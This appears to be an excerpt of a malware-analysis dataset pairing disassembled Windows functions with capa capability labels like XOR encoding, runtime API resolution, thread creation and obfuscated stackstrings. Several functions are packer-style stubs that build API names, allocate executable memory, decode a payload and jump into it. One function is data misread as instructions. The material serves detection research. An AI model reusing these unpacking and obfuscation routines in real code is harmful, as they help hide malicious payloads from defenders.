joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001867d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000f7fa
and dword [ebp - 4], 0
cmp dword [0x10064280], 0
mov ebx, eax
jne 0x1001872e
push 0x1001e674
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x100187df
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1001e668
push edi
call esi
test eax, eax
je 0x100187df
push eax
call fcn.1000f788
mov dword [esp], 0x1001e658
push edi
mov dword [0x10064280], eax
call esi
push eax
call fcn.1000f788
mov dword [esp], 0x1001e644
push edi
mov dword [0x10064284], eax
call esi
push eax
call fcn.1000f788
mov dword [esp], 0x1001e628
push edi
mov dword [0x10064288], eax
call esi
push eax
call fcn.1000f788
pop ecx
mov dword [0x10064290], eax
test eax, eax
je 0x1001872e
push 0x1001e610
push edi
call esi
push eax
call fcn.1000f788
pop ecx
mov dword [0x1006428c], eax
mov eax, dword [0x1006428c]
cmp eax, ebx
je 0x10018786
cmp dword [0x10064290], ebx
je 0x10018786
push eax
call fcn.1000f803
push dword [0x10064290]
mov esi, eax
call fcn.1000f803
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10018786
test edi, edi
je 0x10018786
call esi
test eax, eax
je 0x1001877d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001877d
test byte [ebp - 0xc], 1
jne 0x10018786
or dword [ebp + 0x10], 0x200000
jmp 0x100187bf
mov eax, dword [0x10064284]
cmp eax, ebx
je 0x100187bf
push eax
call fcn.1000f803
pop ecx
test eax, eax
je 0x100187bf
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x100187bf
mov eax, dword [0x10064288]
cmp eax, ebx
je 0x100187bf
push eax
call fcn.1000f803
pop ecx
test eax, eax
je 0x100187bf
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10064280]
call fcn.1000f803
pop ecx
test eax, eax
je 0x100187df
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x100187e1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402f0f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x408010]
jne 0x404450
repz ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x409368], eax
mov dword [0x409364], ecx
mov dword [0x409360], edx
mov dword [0x40935c], ebx
mov dword [0x409358], esi
mov dword [0x409354], edi
mov word [0x409380], ss
mov word [0x409374], cs
mov word [0x409350], ds
mov word [0x40934c], es
mov word [0x409348], fs
mov word [0x409344], gs
pushfd
pop dword [0x409378]
mov eax, dword [ebp]
mov dword [0x40936c], eax
mov eax, dword [ebp + 4]
mov dword [0x409370], eax
lea eax, [ebp + 8]
mov dword [0x40937c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x4092b8], 0x10001
mov eax, dword [0x409370]
mov dword [0x40926c], eax
mov dword [0x409260], 0xc0000409
mov dword [0x409264], 1
mov eax, dword [0x408010]
mov dword [ebp - 0x328], eax
mov eax, dword [0x408014]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x4092b0], eax
push 1
call fcn.00406093
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x401d80
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x4092b0], 0
jne 0x40453c
push 1
call fcn.00406093
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x403533
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x403542
pop dword [ebp - 0x24]
mov eax, 0x403542
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x1d7e81e3
add dword [ebp - 0x34], 0x30d3c368
mov dword [ebp - 0x30], 0x9f706205
sub dword [ebp - 0x30], 0x6d3d15c0
mov dword [ebp - 0x2c], 0xf1dbe52f
sub dword [ebp - 0x2c], 0xa58fa101
mov dword [ebp - 0x28], 0xdcbc3ead
add dword [ebp - 0x28], 0x2343c153
lea eax, [ebp - 0x34]
push eax
mov eax, 0x925b9b0b
sub eax, 0x921b8aef
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x38ca6fb9
sub dword [ebp - 0x34], 0xc4580663
mov dword [ebp - 0x30], 0xd1e21f07
add dword [ebp - 0x30], 0x6f8a426e
mov dword [ebp - 0x2c], 0x4aa9b79b
sub dword [ebp - 0x2c], 0xe73a4b2f
mov dword [ebp - 0x28], 0xaba5c9af
add dword [ebp - 0x28], 0x545a3651
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x36d62
push 0
call eax
mov ecx, 0xe9c26984
sub ecx, 0xe9c225b4
mov esi, eax
mov edi, 0x433800
add edi, dword [ebp - 0x24]
mov ebx, 0x82287a1
sub ebx, 0x693ee1c2
xor dword [ebp - 4], ebx
mov edx, dword [edi]
xor edx, ebx
add dword [ebp - 0x1c], 0x58863bcb
mov dword [esi], edx
add dword [ebp - 0x14], 0xce51b186
add esi, 4
add edi, 4
loop 0x403654
add eax, 0x10213
xor ebx, ebx
add ebx, eax
add eax, 0x4da1bd0f
sub eax, 0x4da1bd0a
mov ecx, 0xbdf6b483
sub ecx, 0xbdb6b483
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x403850
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, ecx
push 0x10a8
push 0
lea ebx, [edi + 0x10dc]
push ebx
call fcn.00415640
push dword [ebp + 8]
push 0x800
push ebx
call fcn.004120e7
push dword [ebp + 0xc]
lea eax, [ebx + 0x880]
push 0x400
push eax
call fcn.004120e7
push dword [ebp + 0xc]
lea eax, [ebx + 0xc80]
push 0x400
push eax
call fcn.004120e7
mov dword [ebx + 0x1080], 2
mov dword [ebx + 0x1088], 1
mov dword [ebx + 0x1090], ebx
mov byte [ebx + 0x1094], 0
mov dword [ebx + 0x108c], ebx
mov eax, dword [edi]
mov dword [ebx + 0x1098], eax
mov eax, dword [edi + 0x10d8]
mov dword [ebx + 0x10a0], eax
mov eax, dword [ebp + 0x14]
mov dword [ebx + 0x109c], eax
lea eax, [edi + 0x2184]
mov dword [ebx + 0x10a4], eax
lea eax, [edi + 4]
push 0x10d4
push dword [edi]
push eax
call fcn.00416340
push ebx
push 0
push 0x402700
call fcn.0041349b
add esp, 0x48
pop edi
pop ebx
pop ebp
ret 0x10
Function at 0x405830
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xfe78
call fcn.00416170
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov dword [ebp - 0xfe74], eax
mov eax, dword [ebp + 0x10]
push 0x3ff
mov dword [ebp - 0xfe70], eax
lea eax, [ebp - 0x413]
push 0
push eax
mov byte [ebp - 0x414], 0
call fcn.00415640
xor eax, eax
mov byte [ebp - 0x10], 0
push 0xfa00
push eax
mov dword [ebp - 0xf], eax
mov word [ebp - 0xb], ax
lea eax, [ebp - 0xfe14]
push eax
call fcn.00415640
add esp, 0x18
lea eax, [ebp - 0xfe14]
mov ecx, ebx
push esi
push eax
call fcn.004056d0
push 0x405810
push 0xc80
push dword [ebx]
lea eax, [ebp - 0xfe14]
push eax
call fcn.00413780
xor edi, edi
add esp, 0x10
cmp dword [ebx], edi
jle 0x40591f
lea esi, [ebp - 0xfe14]
lea eax, [esi + 0x480]
push eax
lea eax, [ebp - 0x414]
push 0x400
push eax
call fcn.004121e0
push 0x4334a0
push esi
call fcn.0041200b
add esp, 0x14
test eax, eax
jne 0x405914
push 6
lea eax, [esi + 0x80]
push eax
lea eax, [ebp - 0x10]
push 7
push eax
call fcn.0041213c
add esp, 0x10
inc edi
add esi, 0xc80
cmp edi, dword [ebx]
jl 0x4058d3
mov eax, dword [ebp - 0xfe70]
cmp byte [eax], 0
je 0x40593f
push eax
lea eax, [ebp - 0x414]
push 0x400
push eax
call fcn.004121e0
add esp, 0xc
cmp byte [ebp - 0x10], 0
je 0x40595d
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x414]
push 0x400
push eax
call fcn.004121e0
add esp, 0xc
lea edx, [ebp - 0xfe70]
lea ecx, [ebp - 0x414]
call fcn.00405240
mov edi, dword [ebp - 0xfe70]
mov esi, edi
lea ecx, [esi + 1]
lea esp, [esp]
mov al, byte [esi]
inc esi
test al, al
jne 0x405980
push 0x58
lea eax, [ebp - 0xfe6c]
sub esi, ecx
push 0
push eax
call fcn.00415640
add esp, 0xc
mov dword [ebp - 0xfe58], 0
lea ecx, [ebp - 0xfe6c]
mov dword [ebp - 0xfe5c], 0
mov dword [ebp - 0xfe6c], 0x67452301
mov dword [ebp - 0xfe68], 0xefcdab89
push esi
push edi
mov dword [ebp - 0xfe64], 0x98badcfe
mov dword [ebp - 0xfe60], 0x10325476
call fcn.00405a60
push dword [ebp - 0xfe74]
lea ecx, [ebp - 0xfe6c]
call fcn.00405b30
push edi
call fcn.00411b92
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00411b97
mov esp, ebp
pop ebp
ret 0xc
Function at 0x408d70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x78
mov esi, ecx
call fcn.00412482
mov edi, eax
add esp, 4
test edi, edi
je 0x408dd0
mov edx, dword [esi + 0x414]
mov dword [edi + 0x14], edx
mov dword [edi + 0x2c], 0x4317ec
mov byte [edi + 0x5c], 1
push 0
push dword [esi]
mov dword [0x489918], edi
mov byte [esi + 0x60d], 0
call dword [0x42b2d0]
lea eax, [esi + 0x610]
mov ecx, edi
push eax
push eax
lea eax, [esi + 0x60f]
push eax
push dword [esi]
call fcn.0040d240
jmp 0x408dd2
xor edi, edi
push esi
push 0
push 0x406b60
call fcn.0041349b
mov esi, dword [0x42b2e8]
lea eax, [ebp - 0x1c]
add esp, 0xc
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x18], xmm0
push 0
push 0
push 0
push eax
movq qword [ebp - 8], xmm0
call esi
test eax, eax
je 0x408e32
mov ebx, dword [0x42b2e0]
lea eax, [ebp - 0x1c]
push eax
call ebx
lea eax, [ebp - 0x1c]
push eax
call dword [0x42b2e4]
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call esi
test eax, eax
jne 0x408e12
test edi, edi
je 0x408e6e
push dword [edi + 0x20]
mov esi, dword [0x42b05c]
call esi
push dword [edi + 0x24]
call esi
push dword [edi + 0x28]
call dword [0x42b050]
mov dword [edi + 0x2c], 0x4317ec
push dword [edi + 0x48]
call esi
push dword [edi + 0x4c]
call esi
push dword [edi + 0x50]
call esi
push edi
call fcn.00411b92
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408e80
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push eax
mov esi, ecx
call fcn.00407990
test eax, eax
je 0x408eb6
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411b97
mov esp, ebp
pop ebp
ret 4
mov ecx, 0x65
mov dword [ebp - 0x28], 0x68005a
push ecx
lea eax, [ebp - 0x28]
mov dword [ebp - 0x24], 0x440075
push eax
mov dword [ebp - 0x20], 0x6e006f
mov dword [ebp - 0x1c], 0x460067
mov dword [ebp - 0x18], 0x6e0061
mov dword [ebp - 0x14], 0x590067
mov dword [ebp - 0x10], 0x2e0075
mov dword [ebp - 0xc], 0x780065
mov dword [ebp - 8], 0x220065
call fcn.0040c370
test eax, eax
push esi
setne al
push 0
push 0x408d50
mov byte [esi + 0x60e], al
call fcn.0041349b
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
xor eax, eax
pop edi
pop esi
call fcn.00411b97
mov esp, ebp
pop ebp
ret 4

Function at 0x40a7a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push esi
mov esi, dword [0x489844]
sub eax, 0x8005
je 0x40a7e5
dec eax
jne 0x40a7ef
lea eax, [esi + 0xc38]
push eax
push 2
call dword [0x42b254]
push esi
push 0
push 0x40b4d0
mov byte [esi + 0x60c], 0
call fcn.0041349b
add esp, 0xc
pop esi
mov esp, ebp
pop ebp
ret 4
push 1
push dword [esi]
call dword [0x42b2d0]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x40a8c0
Capabilities:
Create thread

Disassembly:
push edi
mov edi, ecx
cmp dword [edi + 0x58c], 2
jle 0x40a998
call fcn.0040a800
test al, al
jne 0x40a953
push esi
push 0
push dword [edi]
mov byte [edi + 0x60d], al
call dword [0x42b2d0]
mov eax, dword [edi]
lea esi, [edi + 0xc38]
push 0x81
push dword [edi + 0x414]
mov dword [esi], 0x3bc
mov dword [edi + 0xc3c], eax
mov dword [edi + 0xc40], 0x81
mov dword [edi + 0xc44], 3
call dword [0x42b288]
push esi
push 0
mov dword [edi + 0xc4c], eax
mov dword [edi + 0xc48], 0x40a
mov dword [edi + 0xf58], 0xbb8
mov dword [edi + 0xfdc], 0
call dword [0x42b254]
pop esi
pop edi
ret
mov eax, dword [edi + 0x40c]
test eax, eax
je 0x40a97f
push 0x100
push 0
push 0
push 0xf001f
push eax
call dword [0x42b088]
push eax
mov dword [eax], 0
call dword [0x42b08c]
push edi
push 0
push 0x40b4d0
mov byte [edi + 0x60c], 0
call fcn.0041349b
add esp, 0xc
pop edi
ret
push 0x41
push 0x433754
push 0x433760
push 0
call dword [0x42b2ec]
cmp eax, 1
jne 0x40a9fa
lea eax, [edi + 0xc38]
push eax
push 2
call dword [0x42b254]
add edi, 0x1074
mov ecx, edi
lea edx, [ecx + 1]
jmp 0x40a9d0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a9d0
sub ecx, edx
cmp ecx, 5
jbe 0x40a9f2
push 5
push 0
push 0
push edi
push 0x433784
push 0
call dword [0x42b258]
push 0
call dword [0x42b2b8]
pop edi
ret
Function at 0x40bbc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, ecx
mov dword [ebp - 4], eax
cmp byte [eax + 0x60a], 0
jne 0x40bc7b
push ebx
mov byte [eax + 0x60a], 1
mov ebx, dword [eax + 0x618]
sub ebx, dword [eax + 0x614]
push esi
sar ebx, 2
xor esi, esi
test ebx, ebx
je 0x40bc69
mov ecx, dword [eax + 0x614]
mov eax, dword [eax + 0x618]
sub eax, ecx
mov dword [ebp - 0xc], ecx
sar eax, 2
mov dword [ebp - 8], eax
push edi
mov edi, edi
cmp eax, esi
jbe 0x40bc81
mov edi, dword [ecx + esi*4]
test edi, edi
je 0x40bc55
mov eax, 0x4334b4
lea ecx, [edi + 0x800]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40bc46
test dl, dl
je 0x40bc42
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40bc46
add ecx, 2
add eax, 2
test dl, dl
jne 0x40bc26
xor eax, eax
jmp 0x40bc4b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40bc5c
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
inc esi
cmp esi, ebx
jb 0x40bc10
jmp 0x40bc65
mov al, byte [ebp + 8]
mov byte [edi + 0x102d], al
mov eax, dword [ebp - 4]
pop edi
push eax
push 0
push 0x40b4d0
call fcn.0041349b
add esp, 0xc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x433ba8
call fcn.0042831c
int3
Function at 0x40fa30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x40fa3b
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 8
jb 0x40fb05
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
dec edi
jne 0x40fa50
pop edi
test esi, esi
je 0x40fb2a
lea esp, [esp]
movzx eax, byte [edx]
lea edx, [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
dec esi
jne 0x40fb10
not ecx
mov eax, ecx
pop esi
pop ebp
ret
Function at 0x5cc53b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
bt dx, 9
push dword [esp]
add ecx, edx
test sp, ax
mov byte [esp], ah
jmp 0x5cb862

Function at 0x5cd184
Capabilities:
Resolve function by parsing pe exports

Disassembly:
adc al, al
call 0x65077f
add byte [eax], al
dec ebp
popal
jo 0x5cd0bb
imul esp, dword [ebp + 0x77], 0x6946664f
insb byte es:[edi], dx
add byte gs:[eax - 0x64], ah
add byte [eax], al
add byte [ebx + 0x68], dl
outsd dx, dword [esi]
ja 0x5cd11a
imul ebp, dword [esi + 0x64], 0x776f
add byte [edi + 0x65], al
je 0x5cd11c
jae 0x5cd145
popal
push esp
imul ebp, dword [ebp + 0x65], 0x60c91100
adc ecx, ecx
pushal
inc edi
imul esi, dword fs:[eax + 0x43], 0x74616572
imul esi, dword [eax + 0x43], 0x74616572
dec eax
inc edx
dec ecx
push esp
dec ebp
inc ecx
push eax
inc esi
jb 0x5cd19d
insd dword es:[edi], dx
inc edx
imul esi, dword [ebp + ebp*2 + 0x61], 0x70
inc edi
je 0x5cd18c
popal
insb byte es:[edi], dx
je fcn.005cd1b5
inc ebp
outsb dx, byte [esi]
je 0x5cd1b8
jb 0x5cd1b0
imul esp, dword [ebp + 0x73], 0x53000000
jae 0x5cd14a
add byte [eax], al
push ebx
je 0x5cd1a4
push 0x64616572
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x5cd1bf
js 0x5cd1d0
add byte [eax], al
add byte [ecx + 0x6d], cl
popal
dec esp
imul esi, dword [ebx + 0x74], 0x7365445f
je 0x5cd1e0
outsd dx, dword [esi]
jns 0x5cd171
add byte [eax], al
inc edi
je 0x5cd1c4
outsb dx, byte gs:[esi]
jne 0x5cd1c4
je 0x5cd1e2
insd dword es:[edi], dx
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
inc ecx
add byte [esi + 0xf], ah
lodsb al, byte [esi]
fisttp dword [esi]
movzx ebx, cl
mov ebx, eax
stc
cmp byte [edi], 0x23
jmp 0x5ce495
invalid
popal
insb byte es:[edi], dx
inc esi
jb 0x5cd207
add byte gs:[eax], al
add byte [edi + 0x65], al
je 0x5cd1fa
add byte [eax], al
inc edi
je 0x5cd1fa
jb 0x5cd21b
arpl word [ebp + 0x73], sp
jae 0x5cd1f9
dec eax
popal
jo fcn.005cd1b5
xchg edi, eax
ret
imul ecx, dword [0], 0x44746547
insb byte es:[edi], dx
add byte gs:[ebx - 0x17], dl
sub al, 0xf3
invalid
insb byte es:[edi], dx
je 0x5cd248
inc ebx
dec ecx
inc esp
add byte [eax], al
add byte [edx + 0x65], dl
arpl word [ecx + 0x6e], si
outsb dx, byte [esi]
insb byte es:[di], dx
add byte gs:[eax], al
add byte [edi + 0x65], al
je 0x5cd256
push ebx
jb 0x5cd2c7
imul edi, dword [edi + 0x533e453a], 0x85936d5f
cld
Function at 0x2d85513a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x2d855149
pop dword [ebp - 0x2c]
mov eax, 0x8645650b
sub eax, 0x58c013c2
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xbe527e2b
sub dword [ebp - 0x3c], 0x700038e0
mov dword [ebp - 0x38], 0xae70bdd4
sub dword [ebp - 0x38], 0x7c3d718f
mov dword [ebp - 0x34], 0x3d45ff38
sub dword [ebp - 0x34], 0xf0f9bb0a
mov dword [ebp - 0x30], 0xc3537c12
sub dword [ebp - 0x30], 0xc3537c12
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x84a34b82
sub dword [ebp - 0x3c], 0x1030e22c
mov dword [ebp - 0x38], 0x304af981
sub dword [ebp - 0x38], 0xeede980c
mov dword [ebp - 0x34], 0xe274f2b9
add dword [ebp - 0x34], 0x80fa79b3
mov dword [ebp - 0x30], 0x96d74071
sub dword [ebp - 0x30], 0x96d74071
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x64601
push 0
call eax
mov ecx, 0x52c6ccff
sub ecx, 0x52c6986d
xor edi, edi
add edi, eax
mov esi, 0x190a6a92
sub esi, 0xeb703e92
add esi, dword [ebp - 0x2c]
mov ebx, 0xf4f27cb
add ebx, 0x638d86c4
mov dword [ebp - 0x28], 0x1da4579f
mov edx, dword [esi]
add dword [ebp - 0x14], 0xac6a6f10
sub edx, ebx
sub dword [ebp - 0x14], ecx
mov dword [edi], edx
xor dword [ebp - 0x28], 0x60f0eddc
add edi, 0x34846bdc
sub edi, 0x34846bd8
add esi, 0xec4d31eb
sub esi, 0xec4d31e7
loop 0x2d855263
add eax, 0xde5eed9e
add eax, 0x21a1d77d
mov ebx, eax
add eax, 5
mov ecx, 0xa36bf64c
add ecx, 0x8a1409b4
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x405a3d
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.shell32.dll_ShellExecuteExW]
ret 4

Function at 0x405b23
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x405b32
pop dword [ebp - 0x2c]
mov eax, 0x19bb4c3b
sub eax, 0x197af109
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x1efb40b0
sub dword [ebp - 0x3c], 0xd0a8fb65
mov dword [ebp - 0x38], 0xd6e2f35a
sub dword [ebp - 0x38], 0xa4afa715
mov dword [ebp - 0x34], 0xac2368f1
sub dword [ebp - 0x34], 0x5fd724c3
mov dword [ebp - 0x30], 0xd5785ac4
add dword [ebp - 0x30], 0x2a87a53c
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xa5c814f7
add eax, 0x5a786b81
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x8774f2c7
add dword [ebp - 0x3c], 0xecfd768f
mov dword [ebp - 0x38], 0xb842362
add dword [ebp - 0x38], 0x35e83e13
mov dword [ebp - 0x34], 0x856b1e70
sub dword [ebp - 0x34], 0x21fbb204
mov dword [ebp - 0x30], 0x9231b98f
sub dword [ebp - 0x30], 0x9231b98f
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xb3189d63
sub eax, 0xb2d81ce7
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x36824
push 0
call eax
mov ecx, 0xc10e6009
sub ecx, 0xc10e1a0a
mov edx, eax
mov esi, 0x451400
add esi, dword [ebp - 0x2c]
mov ebx, 0xa132af9a
add dword [ebp - 0xc], 0xc0e1c5cb
mov edi, dword [esi]
add dword [ebp - 0x10], edx
xor edi, ebx
sub dword [ebp - 0x10], 0x7844441f
mov dword [edx], edi
add dword [ebp - 0x24], ecx
add edx, 0xa0fefcf0
add edx, 0x5f010314
add esi, 4
loop 0x405c48
add eax, 0x10acf
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x405dee
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42fa70
push esi
call fcn.00406411
push esi
call fcn.00405d91
mov edi, eax
test edi, edi
jne 0x405e0f
xor eax, eax
jmp 0x405e67
push edi
call fcn.004066c0
test byte [0x434f1c], 0x80
je 0x405e2c
mov ax, word [edi]
test ax, ax
je 0x405e0b
cmp ax, 0x5c
je 0x405e0b
sub edi, esi
sar edi, 1
jmp 0x405e46
call fcn.0040676f
test eax, eax
je 0x405e40
test byte [eax], 0x10
je 0x405e0b
push esi
call fcn.00405d32
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405e32
call fcn.00405ce6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405ee2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405f01
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4